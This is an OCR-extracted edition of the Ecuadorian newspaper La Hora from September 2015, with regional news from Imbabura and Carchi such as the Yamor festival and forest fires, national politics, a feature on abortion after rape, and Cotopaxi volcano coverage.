Se abre el telón de las fiestas del Yamor 2015 93 delegaciones de distintos sectores del país se hicieron presentes en el pregón de fiestas. OtAvAlO• Con el pregón se dio inicio oficialmente a la fiesta mayor de esta ciudad, que estuvo marcada por la participación de comparsas y carros alegóricos, que recorrieron desde el Redondel de los Danzantes, por la calle Bolívar, hasta llegar al Pretil Municipal. Este desfile estuvo presidido por las principales autoridades del cantón y la provincia, entre otros invitados especiales. Desde tempranas hora de la tarde, muchos ciudadanos se preparaban sacando sillas y bancos, a lo largo de la principal calle Bolívar para poder observar cómodamente el desarrollo de este desfile, que tuvo una duración de alrededor de 4 horas. Muchos turistas nacionales e internacionales se concentraban en los graderíos ubicados en el Parque Central para poder disfrutar de esta fiesta llena de alegría y regocijo de los otavaleños. Entre las varias delegaciones que estuvieron presentes estuvieron el ensamble de bandas del Ejercito, Policía Nacional, Fuerza Aérea Ecuatoriana y del GAD Municipal de Otavalo. Así como también el Ballet Nacional Jacchigua, integrado por 200 bailarines; el ensamble nacional de danza de la Casa de la Cultura Ecuatoriana y el grupo de danza de la Universidad Técnica del Norte. Además se sumaron las delegaciones de ocho GAD parroquiales del Otavalo y de cinco cantones de la provincia de Imbabura. Los grupos de danza y carros alegóricos de las provin-

cias de Santo Domingo de los Tsáchilas, Portoviejo, Esmeraldas, Carchi y de la Prefectura de Imbabura también estuvieron presentes, además del grupo de las 28 ex reinas del Yamor y las seis candidatas del presente año. El Director Ejecutivo del Yamor, Carlos Cevallos, manifestó que “este es el abre boca de las fiestas y que a continuación vendrán grandes eventos que están preparados y que esperamos que se concreten y se consoliden con el paso de los días para que Otavalo y la gente que nos visita sientan verdaderamente lo que representa las fiestas del Yamor”. De igual manera, el alcalde Gustavo Pareja, muy emocionado, expresó que “en Otavalo se vive una fiesta muy alegre con la amabilidad de todos nosotros, por lo que estamos cumpliendo con el slogan que nos ha caracterizado. Es así que los turistas que han venido a participar de esta celebración y quienes somos de aquí vivamos con tranquilidad y paz en estas fiestas de nuestra ciudad”. Por su parte, Pablo Jurado, prefecto de Imbabura, también dio su apreciación sobre estas festividades, indicando que “ seamos los mejores anfitriones. Hoy por hoy, que las ciudades tanto como Otavalo, Cotacachi, Atuntaqui, e Ibarra, estamos sufriendo el impacto del diferencial cambiario, porque los turistas ya no se quedan acá en la provincia de Imbabura, se van a hospedarse en Ipiales o Pasto, consideramos que hoy

IMBABURA

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora IMBABuRA-CARChI

Obra. Con la presencia de los vendedores de este mercado se hizo la socializacion.

Se socializa proyecto para mejorar mercado Copacabana

TraDICIóN. El coraza la representacion ancestral de estas festividades.

PErSONajES. Sisa y Panchito en su primera presentacion en un evento al publico.

rEPrESENTaCIóN. La belleza de la mujer otavaleña con su tradicional vestimenta.

se nos van a quedar aquí, pero lo importante es compartir con

propios y extraños estas lindas fiestas”. (PMHR)

Más incendios en la provincia IMBABURA• A

FLagELOS. En varios puntos de la provincia se registraon incendios.

ENTORNO

partir de las 10:05, del viernes último, el SIS ECU 911 Ibarra recibió llamadas de alerta a la línea única para emergencias, con información ciudadana reportando incendios forestales en algunos puntos de la provincia, por lo que se coordinó con los Cuerpos de Bomberos de los diferentes cantones para controlar estos flagelos, según informó la institución. A las 10:05 y a las 11:02 se reportaron conatos de incendio forestales en las zonas de Santa Rosa de Moras y La Molienda, del cantón Antonio Ante. Al sitio acudió personal del Cuerpo de Bomberos de la localidad, quienes junto a las entidades de socorro reportaron que se sofocó

los incendios utilizando ramas y machetes. El resultado de estos incidentes fueron 700 metros de maleza y hierba seca quemadas. En otro sector de la provincia, alertantes reportaron la activación de un incendio forestal en la Loma de Cotama en San José de la Bolsa, del cantón Otavalo, el cual estaba siendo atendido por personal del Cuerpo de Bomberos de Otavalo. Nuevas alertas se registraron en el cantón Otavalo, entre las 11:00 y 11:30, desde Selva Alegre, Peguche e Imbabuela, las cuales fueron controlados por personal de Bomberos de la localidad, quienes trabajan en la extinción del fuego utilizando ramas y machetes. (RE)

OtAvAlO• Con la presencia del alcalde de Otavalo, Gustavo Pareja Cisneros, se realizó la primera socialización del proyecto para la construcción del nuevo mercado Copacabana, dirigida a comerciantes del sector, en el auditorio de la casa del Colibrí – Kinti Wasi. El proyecto forma parte del sistema integral de mercados que impulsa la actual administración municipal y que prevé la intervención en los mercados Copacabana, 24 de Mayo y Plaza de Ponchos. Según Fernando Jaramillo, arquitecto consultor del nuevo mercado Copacabana, para la presentación del proyecto se realizó la visita a centros de expendio de todo el país, para constatar el funcionamiento de los mismos. “Recorrimos desde Tulcán hasta Cuenca, conociendo esas experiencias, para evitar los errores que se cometieron en su construcción”, explicó. El nuevo mercado tendrá capacidad para 1.009 comerciantes, 186 parqueaderos para vehículos, espacios para carga y descarga, área administrativa, centro lúdico, patio de comidas, se conservará la cancha deportiva y se incrementará una plaza turística. “La feria textil de los sábados y miércoles se mantiene con el mismo número de puestos”, agregó Jaramillo. El Alcalde de Otavalo comentó acerca de la importancia de la realización de este proyecto. “Estamos trabajando por brindar mejores condiciones a quienes utilizan este mercado para hacer sus actividades comerciales y para que la ciudadanía pueda comprar productos de forma más cómoda y segura. Es nuestra responsabilidad iniciar con estos grandes proyectos que mejorarán la imagen y el desarrollo de nuestra ciudad”. (PMHR)

CYAN MAGENTA YELLOW BLACK

LUGAR NORTE

Definen señales horizontales de tránsito en San Gabriel

ENTORNO carcHi

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora IMBABuRA-CARChI

capaciTación. En la UPEC se capacitan en el sistema integrado de información.

Se capacitan en el sistema integrado de información Tulcán• El Sistema Integrado de

Información, Módulo Adquisiciones, fue revisado por los directores, jefes de unidades y presidentes de las diferentes comisiones de la Universidad Politécnica Estatal del Carchi (UPEC), a través de un taller organizado por la unidad de Adquisiciones de la institución. El jefe de esta dependencia, Carlos Revelo, explicó que el objetivo de este evento fue capacitar a los funcionarios de las instancias administrativas y académicas para que realicen la solicitud oportuna de bienes y servicios necesarios para su adecuado funcionamiento, en cumplimiento de la Ley Orgánica del Sistema Nacional de Contratación Pública, que manifiesta que todas las compras deben ser planificadas a nivel de cuatrimestres. “Nosotros vamos a iniciar con las últimas adquisiciones para el año fiscal 2015. Es decir para las

compras del mes de septiembre, octubre, noviembre y diciembre, con esto cumplimos con la planificación programada para el año fiscal y con las compras oportunas para las unidades administrativas y académicas”, informó Revelo. Esta capacitación se realizó en conjunto con el departamento de TIC’s de la UPEC, que se encargó de explicar cómo subir la información al módulo informático, mientras que la unidad de Adquisiciones explicó sobre la forma de solicitar los bienes o servicios en base a la normativa vigente. El Módulo de Adquisiciones es uno de los tantos módulos que tiene el Sistema Integrado de la universidad que permite articular la parte de adquisiciones, planificación y presupuestos, para lograr una adecuada ejecución presupuestaria hasta finalizar el año, indicó el jefe de la unidad de Adquisiciones de la UPEC. (RE)

se pintaron pasos cebras, flechas, marcas viales blancas longitudinales, marcas blancas transversales… saN GabrIEL• En San Gabriel, se desarrollan los trabajos de señalización horizontal en las del barrio 27 de Septiembre, carrera Bolívar y parque González Suárez. La señalética busca precautelará la integridad de los conductores, peatones y motociclistas. Mauricio Bastidas, director de Movidelnor- Agencia Montúfar, explicó que la pintura de las señales está a cargo de la Empresa Pública de Movilidad del Norte y se efectuará en los sitios estratégicos de la ciudad. Miguel Brito, coordinador de Señalización de Movidelnor, dijo que en las arterias principales y en las intersecciones se pintaron pasos cebras, flechas, marcas viales blancas longitu-

Trabajos. Técnicos de la Empresa Pública de Movilidad del Norte-Movildelnor durante la señalización en las calles de San Gabriel.

dinales, marcas blancas transversales que orientan y guían a los usuarios durante sus desplazamientos sin distraer su mirada del trayecto. El funcionario de Movidelnor anunció que la señalización se desarrollará por etapas. Para Juan Acosta, alcalde de Montúfar, la señalización permitirá una buena convivencia entre conductores y peatones en las calles y avenidas de la urbe. Uno de los objetivos es reducir los accidentes de tránsito. reacciones Mariela Pozo, moradora del barrio Santa Clara, considera que

la señalización debe ser permanente por la seguridad de los ciudadanos. Mientras que Rodrigo Yépez, conductor, resalta los trabajos efectuados en las calles de San Gabriel, porque se orienta e informa a los transeúntes y a quienes están frente al volante para tener las precauciones necesarias. Nelly Navarrete, funcionaria pública, manifestó que lo fundamental es concienciar a los ciudadanos sobre el respeto a las señales y normas de tránsito con la finalidad de precautelar la integridad de niños, jóvenes, adultos y adultos mayores. (CMRV)

DanzArte y Ninawillka se alistan para gira internacional se desarrollará el tercer Festirán los destinos de las Escuelas val Internacional Festidanza de Danza del Municipio de Tul- 2015 Melchor Ocampo. Dicho cán. Esto, gracias a sendas in- encuentro será del 21 al 30 de vitaciones que, según informó noviembre y DanzArte será el la institución, habrían recibido embajador tulcaneño junto a para proyectar la imagen de la Adriana Portilla, directora de Desarrollo Sostenible. frontera norte al mundo. Mientras llega la fecha Para el efecto, Julio Robles, alcalde de Tul- TOME NOTA indicada, DanzArte y NinaWillka ensayan una cán, dispuso una partida serie de coreografías en de 20 mil dólares con grupos artís- la que incluye ‘Tulcán de la finalidad de que Tul- Los ticos se entrenan mis ensueños’. “Vamos cán se muestre en estas en espacios a dejar en alto la imagen naciones a través de su remodelados. México y arte y cultura. “Quere- Venezuela serán de nuestra ciudad. Ese es los destinos de mos incentivar a nues- los carchenses. nuestro compromiso”, Municipio de resaltó el ‘profe’ de danza tros grupos y a través de El la ciudad invirtió Jorge García. ellos, a las niñas, niños y más de 10 mil en su a adolescentes para que dólares nuevo local de Nuevo espacio formen parte de nues- ensayos. La Alcaldía de Tulcán tras escuelas”, sentenció entregó un nuevo espala autoridad. Así, del 24 de septiembre cio para las escuelas de Danza. al 1 de octubre se desarrollará Efectivamente, con una inverel sexto encuentro Nacional e sión de 10 mil dólares, Robles Internacional de Danzas Fo- dispuso el acondicionamiento lklóricas Yarucuy - Venezuela del antiguo edificio de Aduanas 2015. La escuela Municipal Ni- (Junto al SuperMercado Cepia) naWillka pondrá en escena a 15 para enfocar los procesos de artistas guiados por Napoleón entrenamiento. Marcela Bernal, de DanzArCadena, jefe de Cultura del Cate, agradeció al Burgomaestre bildo. Mientras que en México por el permanente apoyo y en-

Tulcán• México y Venezuela se-

preparación. Los grupos de danza se preparan para su gira intenacional.

tregó una placa que sintetiza el compromiso que tienen con el Municipio, cantón y la provincia. “La oportunidad que nos han dado la queremos aprovechar al máximo”, detalló. El agradecimiento también fue de parte de los padres de familia, quienes mostraron su satisfacción por el desarrollo artístico de sus hijos. Por ese motivo, Carmen Zabala entregó una placa recordatoria a Portilla. Lo propio hizo Gabriela Robles con el ‘profe’ García. “La Danza y el Municipio nos han abierto muchas puertas. Nosotros lo que hacemos es dedicar nuestro tiempo a la ciudad”, manifestó Bryan Vela, director de NinaWillka. (RE)

Nuevo año

GENTE

IBARRA

Mucha alegría y emoción se vivió en el inicio del año lectivo en el centro infantil Gotitas de Miel.

Belén Ramos e Isabella Calderón.

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora IMBABuRA-CARChI

Cristian Vásquez, Dante Pozo y Paúl Pozo.

WEB Mire sus fotos en: www.lahora.com.ec

Angelita Calderón y Daniela Cabezas. P37446/ai/kc

Amparo Grijalva e Isabella Terán.

Jadira Tibán y Matías Guerrero.

CYAN MAGENTA YELLOW BLACK

NORTE

GENTE IBARRA

A10

DOMINGO 06 DE sEPTIEMBrE DE 2015 La Hora IMBABurA-CArChI

Jaime Cadena, Carlos Arias y Marco Antonio Adathy.

Janeth Palacio, Ipatia Gudiño y Carla Proaño.

Esteban Terán y Mónica Loyo.

Downhill urbano

WEB Mire sus fotos en: www.lahora.com.ec

Auspiciantes, organizadores y medios de comunicación se dieron cita al lanzamiento oficial de la segunda edición de Downhill Urbano, organizado por la Cooperativa CACMU, que recorrerá las calles de Ibarra, con el auspicio La Hora.

Bryan Ruiz y Carlos Quelal.

Guido Vásquez y Omar Guamaní.

Juan Arias y Andrés Aguilar.

Mercy Illanes y Rodrigo López.

PAÍS B1

Utilice aquí un lector de código QR

tiempo lectura 15 min.

DOMINGO 06 DE SEPTIEMBRE DE 2015 I La Hora ECUADOR

LOS + ONLINE DE LA SEMANA

lahoraecuador Los 92 años de Don Ramón

° El post favorito de esta semana en nuestra cuenta en la red social Facebook fue la publicación de un pequeño homenaje realizado por La Hora a ‘Don Ramón’, quien el pasado 2 de septiembre hubiera cumplido 92 años. 5.697 ME GUSTA

Ecuatorianos compran en Colombia

° La publicación sobre los ecuatorianos que han

optado por realizar sus compras en el país vecino fue otra de las favoritas por nuestros lectores. 872 ME GUSTA

Dijo que le gustaba ser el centro de atención. Carlos Pérez, su pareja, considera que es un discurso machista.

@lahoraecuador ¿Cómo aprovechar a la papa? ° “#Cocina La papa, delicioso y sano comple-

mento para su comida” fue el tuit favorito de esta semana. En el reporte se explica el valor nutricional del tubérculo. IMPRESIONES 4.128

Plantón en favor de Arregui ° El tuit: “Manifestantes esperan disculpas

públicas de Alexis Mera, secretario jurídico de la Presidencia”, fue uno de los favoritos en Twitter esta semana. IMPRESIONES 4.128

www.lahora.com.ec Paloma Fiuza causa sensación en Instagram

° La nota sobre una fotografía colgada por la presentadora brasileña en su cuenta de Instagram fue la más vista por nuestros lectores. En esta foto en la que Paloma muestra más de la cuenta impactó en esta red social. Con tan solo 15 horas de publicada la imagen, alcanzó 4.395 ‘Me gusta’.

La Hora en resistencia ° Otra de las notas más leídas por

nuestro lectores en nuestra web (durante esta semana) es el anuncio de Diario La Hora de acogerse al derecho a la resistencia contemplado en la Constitución, esto ante un nuevo proceso abierto por la Supercom, que pide la réplica a un aviso pagado. 2.822 VISTAS

Correa califica como ‘inmadura’ a Manuela Picq CATEDRÁTICA. Manuela Picq salió del país luego de que se le revocara su visa.

3.249 VISTAS

El presidente de la República, Rafael Correa, arremetió ayer contra la catedrática francobrasileña Manuela Picq, pareja del presidente de la Ecuarunari, Carlos Pérez Guartambel, quien abandonó el país el 20 de agosto luego de que la Cancillería le revocara su visa. Durante su enlace sabatino transmitido desde la parroquia de Chillogallo (Quito), el mandatario afirmó que la conoció en la Universidad San Francisco de Quito, donde los dos dictaban cátedra. “Una mujer muy bella, pero muy inmadura que le encantaba ser el centro de atención. Vivía en Miami (EE.UU.), tenía un novio gringo y nunca fue ni indigenista, ni izquierdista, peor periodista”, aseguró Correa. Añadió que fue detenida por agredir a los policías durante el paro del 13 de agosto protagonizado por sectores indígenas y obreros contra del Régimen, con lo que justificó su salida al asegurar que tenía visa de intercambio cultural, por lo que no podía participar en esa serie de manifestaciones políticas. En el mismo sentido, criticó que medios de comunicación internacionales se hicieron eco de la situación vivida por Picq en Ecuador, argumentando que no muestran la realidad de lo que, para el Gobierno, en realidad sucedió.

el Primer Mandatario responde a un discurso patriarcal, machista, colonial y discriminatorio, similar a cuando se refiere a los dirigentes indígenas de oposición. Aseguró que su pareja no agredió a policía alguno y que, más bien, ella fue la agredida. Además destacó su trabajo con las comunidades, especialmente en Chimborazo. “Si ella se quedó en el Ecuador es precisamente porque le gustó tanto las comunidades donde tuvo mucha conexión. Con el pueblo Puruhá tiene una estrecha vinculación”. Agregó que Picq ha escrito sobre el tema indígena de varias regiones para algunas publicaciones internacionales, que es una demostración de que no solamente “predica sino que practica la ‘cosmovivencia’ del mundo indígena”. Por su parte Cristina Cachaguay, del colectivo Mujeres por el Cambio, rechazó las expresiones del Presidente por considerarlas una forma más de violencia hacia la mujer en general. “Es un rechazó total a la forma como él insulta y agrede. Nuevamente, con su forma machista de pensar y actuar, señala a una mujer que simplemente estuvo acompañando a su pareja en una lucha justa, democrática, que los pueblos y organizaciones sociales hemos venido levantando por mejores condiciones de vida”.

Las reacciones

Visa Mercosur

Pérez aseguró que lo dicho por

Manuela Picq trata de obtener

Viaje a la asamblea de la ONU ° El presidente, Rafael Correa, se prepara para asistir a la septua-

gésima Asamblea General de la Organización de las Naciones Unidas (ONU), que se cumplirá en Nueva York, Estados Unidos, a fines de este mes. El objetivo será preparar la Cumbre del Ambiente que tendrá lugar a finales de año en París. Según Correa, a pesar de que en su momento manifestó que no participará en ese tipo de asambleas, añadió que luego de conversar con el secretario general de la ONU, Ban Ki moon, decidió acudir a la reunión para que se conozcan las propuestas de Ecuador sobre el tema. “Es la septuagésima Asamblea General de las Naciones Unidas, puede ser la más importante de la historia y servirá para preparar la cumbre del ambiente en diciembre, en París, que puede cambiar la historia de la humanidad”, señaló Correa durante el enlace sabatino de ayer.

la visa Mercosur que le permitiría volver al Ecuador. Según su pareja, Carlos Pérez, desde hace 10 días aproximadamente en que inicio el trámite, este ha sido rechazado por cerca de tres ocasiones argumentando diferentes “pretextos”. “Solo sabemos que en casos similares tardan dos días para conferir una visa Mercosur. En este caso lleva ya 10 días”, aseguró el dirigente indígena. (HCR)

HORA CERO

tiempo lectura 15 min.

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ECUADOR I

ABORTO:

¿QUÉ PASA SI ES FRUTO DE UNA VIOLACIÓN? Leyes sobre el aborto en América Canadá POLÉMICA. En medio del dolor por lo sucedido, la mujer debe enfrentarse a tan difícil decisión.

Estados Unidos

México

Bahamas

Rep. Domin. P. Rico JamaicaHaití Antigua Sta. Lucía Guatemala Honduras y Barbados Trinidad y Tobago El Salvador Guyana Venezuela Nicaragua Surinam Panamá Guyana Colombia Costa Francesa Rica Ecuador Cuba Belice

Simbología

Brasil

Perú

Para salvar al vida de la mujer o prohibido totlamente

Bolivia

Para preservar la salud Razones socioeconómicas

Chile

Sin restricciones en cuanto a la razón

Uruguay Argentina

No disponible Elaboración: LA HORA

Lo que dice el Código Penal Sobre el aborto

Artículo 147: Si el aborto trae como consecuencia la muerte de la madre la pena será de 7 °a 10 años de cárcel para quien lo practicó, si es que el procedimiento fue consentido y de 13 a 16 años si no lo fue.

148: Si el aborto no fue consentido por la mujer, la pena será de entre 5 y 7 años °deArtículo prisión para quien se lo practicó. Artículo 149: Si el aborto fue consentido por la mujer, la pena será de entre 1 y 3 años para °quien se lo practicó y de entre 6 meses y 2 años para la madre. Artículo 150: El aborto no será punible cuando se quiere evitar una situación de peligro a la °mujer embarazada y cuando se trata de una mujer con discapacidad mental.

15.783 mujeres que decidieron abortar en 2014 tuvieron complicaciones y fueron a parar a un hospital. Aunque penada, esta es una práctica real. ¿Qué es lo mejor para la madre, para el bebé? Esa es la pregunta.

‘

POR: ALEXIS SERRANO CARMONA

Paula’ es una colombiana de 23 años de edad que vino a Ecuador huyendo de las amenazas de la guerrilla. El año pasado, cuando regresaba a la casa con su hija de dos años en brazos, tres tipos la abordaron y la violaron. Ella quiso evitar que la pequeña se asustara y actuó como si todo fuera un juego. Así, entre los tres se turnaron para abusar de ella y sostener a la niña. Ella no tenía a nadie más y vivía solo de trabajos esporádicos. En medio del trauma, tuvo que enfrentarse a la decisión más difícil cuando se enteró de que producto de esa violación había quedado embarazada. Asesorada por el Frente por los Derechos Sexuales y Reproductivos, abortó. No tuvo complicaciones. Si alguien le hubiera denunciado, ‘Paula’ se habría podido enfrentar a una pena de entre seis meses y dos años de prisión. Así quedó establecido en el Código Penal, vigente desde 2014. Sin embargo, ella lo hizo con asesoría médica y en un lugar catalogado por los activistas como seguro. Ilegal o no, muchas mujeres en el país toman la decisión de inte-

rrumpir un embarazo. El Instituto Nacional de Estadística y Censos (INEC) publicó el fin de semana pasado su último anuario de estadísticas hospitalarias, que revela que el año anterior hubo 17.882 abortos no espontáneos, lo que representa el 5,31% del total de embarazos registrados. De esos, la gran mayoría (15.783) tuvieron alguna complicación por tratarse de abortos clandestinos. No existe una cifra sobre cuántos de esos embarazos fueron productos de una violación, pero las activistas Ana Cristina Vera, de la fundación Surkuna, y Virginia Gómez de la Torre, del Frente por los Derechos Sexuales, coinciden en que es un porcentaje alto. Para ellas, la cifra entregada por el INEC puede al menos triplicarse en la vida real porque hay quienes abortan y no sufren complicaciones y sus casos pasan desapercibidos. Lo que sí dicen los datos es que 4.155 niñas y adolescentes de entre 10 y 14 años resultaron embarazadas en 2014. Y, dado que el propio Código Penal establece que cualquier relación sexual con una menor de 14 años, por más que

haya sido consentida, se considera violación, al menos esas 4.155 violaciones terminaron en embarazo. La situación en el país

La entrada a la maternidad Isidro Ayora, en Quito, esta llena de corredores largos, fríos y oscuros. Al mediodía de ese miércoles, el lugar se convierte en un desfile constante de niños cargando niños. Una de las doctoras que trabajan en el lugar asegura que más del 40% de los partos que allí se dan es de adolescentes menores de 19 años y calcula que casi una de cada 10 mujeres ha quedado embarazada producto de una violación, aunque no es un dato oficial. Estas víctimas suelen llegar con una autoestima muy baja y hasta con tendencia a sentirse culpables. A pensar que no se supieron cuidar bien, o que estuvieron en el lugar equivocado. La doctora agrega que es común que vinculen al bebé con el trágico momento que debieron pasar. Ella recuerda el caso de una chica de 13 años que fue violada y durante todo su embarazo recibió terapia sicológica para ayudarle a aceptar al bebé. Sin

embargo, en el momento en que manifestaciones de apoyo. En nació y las enfermeras quisieron Venezuela el aborto está penado dárselo, lo rechazó y pidió que se en cualquier circunstancia. Argentina es caso aparte. El lo llevarán. Vera cuenta que han escu- Código Civil, que data de 1921, chado a madres decir algo como: lo prohíbe, pero en la práctica es ‘quítenme esa cosa de encima’ o permitido, a partir de un fallo de la Corte Suprema de Justicia, en ‘llévense eso de aquí’… Luego de varios meses de 2012, luego de que se hizo público acalorados debates, de protestas el caso de una menor abusada por en las calles y de que dos legisla- su padrastro. Hace poco, el Minisdoras oficialistas fueran sancio- terio de Salud reavivó la polémica nadas por expresar su opinión porque emitió un controvertido a favor, finalmente la Asamblea ‘protocolo’ en el que se habla de Nacional negó la legalización del aborto legal, sin límite. Y en esa polémica se hallan ahora. aborto por violación. Quizás el país en el que más En el Código Penal quedaadelantado está el tema ron establecidas dos cires Colombia. Allí el aborcunstancias en las cuales EL DATO to por violación es legal un aborto no es punible: desde 2006. Sin embarcuando se pretende evitar una mujer que un peligro para la vida o la Si fue violada acude go, quedó establecido que un médico puede tener salud de la madre y cuan- a un hospital público hasta 72 objeción de conciencia. do hay una violación a una horas después delito recibirá Es decir, por sus princimujer con discapacidad del la llamada ‘píldopios, negarse a practicar mental. ra del día desy antirretro- uno. Sin embargo, tiene Sin embargo, según pués’ virales. la obligación de remitir Vera, las cifras publicael caso a un colega que no das por el INEC deben tenga problema con hadar paso a que, al menos CIFRAS cerlo, lo cual, tampoco se a nivel de sociedad, se reacumple siempre. bra el debate. Según ella, desde 2008, cuando las de los embaraorganizaciones comenza- zos registrados El eterno debate en 2014 resulta- Para las organizaciones ron a pronunciarse públi- ron en un aborto camente, la ‘penalización no espontáneo. que defienden el aborto social’ del aborto por viopor violación, es fundalación ha bajado notablemental que en algún momente. mento las víctimas de este MUJERES Hacerse un aborto en representa ese delito lleguen a tener ofiporcentaje. Ecuador puede costar descialmente la capacidad de de 200 hasta 2.000 dóladecidir si tienen al bebé. res, aunque también hay ‘redes Gómez de la Torre argumensolidarias’ que pueden llegar a ta que un embarazo de ese tipo hacerlo de forma gratuita. Pero termina siendo “un proyecto de en esta gama está también otro vida que una mujer no escogió”. factor. “La ilegalidad trae riesgo”, Que debería ser una decisión dice Gómez de la Torre. propia sobre su cuerpo y sobre “Existen sitios que son muy su futuro pero que actualmente seguros para abortar. Y eso se va son “una sociedad, un Estado, transmitiendo entre los propios un Gobierno los que terminan jóvenes. Siempre hay una chica imponiendo un embarazo”. “Esque le recomienda un lugar a su tán obligándola a parir al hijo del amiga, esto existe”, explica. violador”. Piensa que el problema es que la situación no está asegurada ni En la región En Sudamérica la situación del para el bebé ni para la mamá. aborto por violación es diversa. Que muchas veces después de En Chile actualmente es ilegal dos, tres y hasta cinco años del pero se está debatiendo en la parto, ella comienza a generar Cámara de Diputados. En Perú rechazo al niño, a maltratarlo. Y también es ilegal pero esta sema- concluye que, independiente de na la Primera Dama se pronun- la decisión tomada por la víctició a favor, lo que desató varias ma, el Estado debería generar un

5,31%

17.882

HORA CERO

sistema de protección integral. Por supuesto, no todas las mujeres que pasan por esto deciden abortar. El ejemplo contrario lo marcó una adolescente de 12 años que hace poco menos de un mes se enteró de que está embarazada tras haber sido violada reiteradamente por un joven de 18 y decidió tener el bebé. Del lado de este tipo de decisiones están los autodenominados activistas pro vida. Una de ellas es Giuliana Maldonado. Para ella, la vida humana se considera como tal desde el momento de la concepción. Y que una mujer haya sido violada no le parece motivo suficiente como para que decida abortar. Según dice, gran parte de las violaciones se dan por miembros de la propia familia y el círculo íntimo de la víctima. Y suele ser el propio atacante el que luego quiere obligar la suspensión del embarazo. “En esos casos, sería como proteger al violador, ocultar el caso”. Pero, aunque fuera un desconocido, Maldonado asegura que se debe “respetar la vida” y

La adopción como alternativa En los hospitales públicos, dada la imposibilidad de abortar, los médicos suelen recomendar la adopción como alternativa para las madres que no quieren tener a sus bebés tras una violación. Sin embargo, la doctora de la maternidad Isidro Ayora consultada para este trabajo asegura que muy pocas mujeres la aceptan. Recuerda el caso de una joven de 13 años cuya familia ocultó el embarazo para evitar comentarios e incluso inventaron que la adolescente se había ido fuera del país. Cuando dio a luz entregó a su hijo en adopción. Sin embargo, a las pocas semanas se arrepintió e inició un proceso legal para que se lo devolvieran. Ese proceso resultó ser “tan largo y engorroso”, según la doctora, que la chica volvió a tener a su hijo entre los brazos recién cuando cumplió un año de edad.

día se topan con el dilema central: ¿Qué es mejor para la madre violada? ¿Qué es mejor para el bebé producto de esa violación? Y no hay una respuesta irrefutable. Eso lo confirma la doctora de la maternidad Isidro Ayora. “Muchas veces nosotros nos preguntamos lo mismo en el momento en que nace el bebé. Si la madre lo acepta, no se sabe hasta cuándo lo hará. Si no lo acepta, no se sabe si se arrepentirá. Sabemos que el tema es ilegal y nosotros tenemos la prohibición de pensar en abortos, pero el dilema siempre está”. La única forma de legalizar el aborto por violación sería una reforma al flamante Código Penal. Sin embargo, Ana Cristina Vera cree que mientras el actual Régimen esté en el poder, este es un tema cerrado. “El Gobierno se perdió una oportunidad histórica”, opina. Y, por lo pronto, no se equivoca. El asambleísta Fausto Cayambe (PAIS), al ser consultado sobre la posibilidad de una reforma en este sentido, se limita a contestar: “No podría decir nada porque en nuestra bancada ni siquiera hemos tratado el tema”.

ACTIVISMO. Este es uno de los cartelones que pegaron las activistas durante el debate del Código Penal.

REALIDAD. Más de 4.000 menores de entre 10 y 14 años quedaron embarazas el año anterior.

DOMINGO 16 DE AGOSTO DE 2015 La Hora , ECUADOR

que para ambos casos dar a luz y entregar al bebé en adopción es una alternativa que considera adecuada. “¿A razón de qué podemos creer nos consideramos capaces de decidir quién vive y quién muere? ¿Por qué no digo: ‘matémosle al violador’? Porque estoy respetando su vida. Entonces ¿Por qué no darle al bebé al menos el mismo respeto que al violador?”, cuestiona la activista. El tema es tan complejo que incluso los médicos en su día a

Tratamientos hospitalarios 2014 Causa / Diagnóstico Embarazo, parto y puerperio Aborto espintáneo

335. 277

5.488

Aborto médico

1.715

Otro aborto

384

Aborto no específico

15.783

Intento fallido de aborto

85 0

10.000

15.000

20.000 Elaboración: LA HORA

Fuente: INEC

Embarazos 2014 (por edad) 150000

130.756

120000

87.546

90000

70.914

60000

40.450

30000

4.155 0 Fuente: INEC

10 - 14 años

1.456 15 - 19 años

20 - 24 años

25 - 34 años

35 - 44 años

45 - 54 años Elaboración: LA HORA

CYAN MAGENTA YELLOW BLACK

PAÍS B4

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

Comité atento a la caída de polvo volcánico en Tababela Un Comité de Coordinación de Crisis se encargará de decidir la forma en que el aeropuerto de Quito, ubicado en Tababela, responderá en caso de caída de ceniza proveniente del volcán Cotopaxi. Así lo ratificaron la Dirección de Aviación Civil y Quiport, que anticiparon que posibles medidas como cierres, suspensiones o desvíos de rutas aéreas serán decididas por este Comité y sobre la base de reportes oficiales que contengan datos científicos como la cantidad de ceniza, la dirección y la fuerza de los vientos y factores climáticos. A través de un ‘notam’ o notificación aeronáutica a escala mundial, las autoridades prevén informar a todas las aerolíneas nacionales e internacionales las novedades para que, de ser el caso, desvíen sus vuelos a otras terminales aéreas. El Comité se instaló el 14 de agosto y en él participan delegados técnicos de la Dirección de Aviación Civil, Quiport, aerolíneas y la Empresa Pública Metropolitana de Servicios Aeroportuarios. (JCER) P

NACIONAL

Técnicos analizarán la ceniza del Cotopaxi El informe del estudio lo dará a conocer el Ministerio Coordinador de Seguridad. QUITO, EFE • Científicos

del Instituto Geofísico (IG) de Ecuador recogieron ayer muestras de la ceniza arrojada por el volcán Cotopaxi, para evaluar el proceso eruptivo del coloso. Esto lo informó el Ministerio Coordinador de Seguridad, al indicar que la actividad interna actual del macizo es “alta”, mientras que la superficial es “moderada”, con frecuentes exhalaciones de gas, vapor y ceniza. El último informe del Ministerio precisa que las bocanadas de vapor y gases que emite el volcán contienen “cargas bajas de ceniza”, y que la nube que forman esas exhalaciones se han dirigido, por efecto de los vientos, al oeste y suroeste de la montaña. La Policía ha reportado la caída de polvo volcánico en sectores como El Chaupi y Machachi, en Pichincha.

Trabajos y recorridos

El Ministerio indicó que personal del Geofísico realizó ayer “trabajos técnicos en campo para recoger muestras de ceniza y levantar otras

RIESGO. El Cotopaxi es actualmente uno de los más activos junto al Tungurahua, el Reventador y el Sangay.

